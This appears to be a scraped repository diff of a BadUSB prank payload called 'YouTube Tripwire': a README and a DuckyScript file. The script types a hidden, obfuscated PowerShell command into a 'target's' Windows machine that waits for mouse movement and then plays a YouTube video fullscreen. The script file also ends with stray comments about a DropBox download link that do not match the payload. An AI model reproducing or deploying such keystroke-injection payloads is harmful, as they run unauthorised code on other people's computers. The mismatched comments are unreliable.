<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# YouTube Tripwire
|
||||||
|
|
||||||
|
Plays any YouTube video after a mouse movement is detected.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This script is a one liner that can fit in the runbox by itself.
|
||||||
|
Just replace the URL for the YouTube video and run it.
|
||||||
|
You can now unplug your device and walk away.
|
||||||
|
When your target returns and moves their mouse, the video will start playing full screen.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* An internet connection
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Walk away
|
||||||
|
* You can run the example snippet below and it will open up a video covering one of my other payloads
|
||||||
|
* You can of course replace the URL with your own video
|
||||||
|
```
|
||||||
|
powershell -w h Add-Type -AssemblyName *m.W*s.F*s;$w=[Windows.Forms.Cursor];$p=$w::Position.X;while(1){if($w::Position.X-ne$p){break}else{Sleep 3}};saps https://youtu.be/sOLIdqpzrW4;sleep 3;$o=New-Object -ComObject WScript.Shell;$o.SendKeys('f')
|
||||||
|
```
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg" alt="Github Stats" />
|
||||||
|
</p>
|
||||||
10
Payloads/YT-Tripwire/YouTube-TripWire.txt
Normal file
10
Payloads/YT-Tripwire/YouTube-TripWire.txt
Normal file
|
|
@ -0,0 +1,10 @@
|
||||||
|
REM Title: YouTube-TripWire
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
REM Description: Plays any YouTube video after a mouse movement is detected. (Replace URL with your own)
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h Add-Type -AssemblyName *m.W*s.F*s;$w=[Windows.Forms.Cursor];$p=$w::Position.X;while(1){if($w::Position.X-ne$p){break}else{Sleep 3}};saps https://youtu.be/sOLIdqpzrW4;sleep 3;$o=New-Object -ComObject WScript.Shell;$o.SendKeys('f')
|
||||||
|
ENTER
|
||||||
|
REM Remember to replace the link with your DropBox shared link for the intended file to download
|
||||||
|
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly
|
||||||
Loading…
Reference in a new issue